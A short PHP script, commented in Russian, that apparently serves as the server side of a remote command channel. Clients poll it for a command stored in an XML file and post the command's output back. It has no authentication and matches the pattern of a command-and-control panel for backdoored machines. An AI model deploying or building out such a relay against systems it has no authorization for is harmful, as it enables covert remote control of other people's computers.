<?php
require_once 'q.php'; // Подключаем файл с необходимыми функциями

// Обработка параметров GET
// foreach ($_GET as $key => $value) {
//     echo "GET параметр '$key' имеет значение '$value'<br>";
// }

// Обработка параметров POST
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Проверяем наличие параметра 'type' в POST запросе
    if (isset($_POST['type'])) {
        if ($_POST['type'] == 'result') {
            // Обработка POST запроса с type = 'result'
            $arr = parseXML('data.xml'); // Парсим XML файл

            // Получаем данные из POST запроса
            $cmd_res = isset($_POST['output']) ? $_POST['output'] : '';
            $status = 'wait';
            $new_comm = 'NaN';

            // Если статус 'send_cli', обновляем информацию в XML
            if ($arr['status'] == 'send_cli') {
                updateCommandInfo('NaN', 'wait', date('Y-m-d H:i:s'), $arr['command'], $cmd_res);
            }

            echo "POST запрос с type='result' обработан.<br>";
            echo "Выполнено что-то с результатом команды и статусом.<br>";
        }
    }
}

// Обработка GET запроса
if ($_SERVER["REQUEST_METHOD"] == "GET") {
    // Проверяем параметр 'type' в GET запросе
    if (isset($_GET['type']) && $_GET['type'] == 'getc') {
        // Обработка GET запроса с type = 'getc'
        $arr = parseXML('data.xml'); // Парсим XML файл
        $status = 'send_cli';
        $command = $arr['command'];
        // if ($arr['status'] == 'wait'){
        updateCommandInfo($arr['command'], 'send_cli', $arr['last_time'], $arr['last_command'], $arr['out']);
            echo $command;
        // } else {
        //     echo $arr['status'];
        // }

        // Если статус 'wait', предоставляем содержимое поля команды и меняем статус на 'send_cli'
    }
}
?>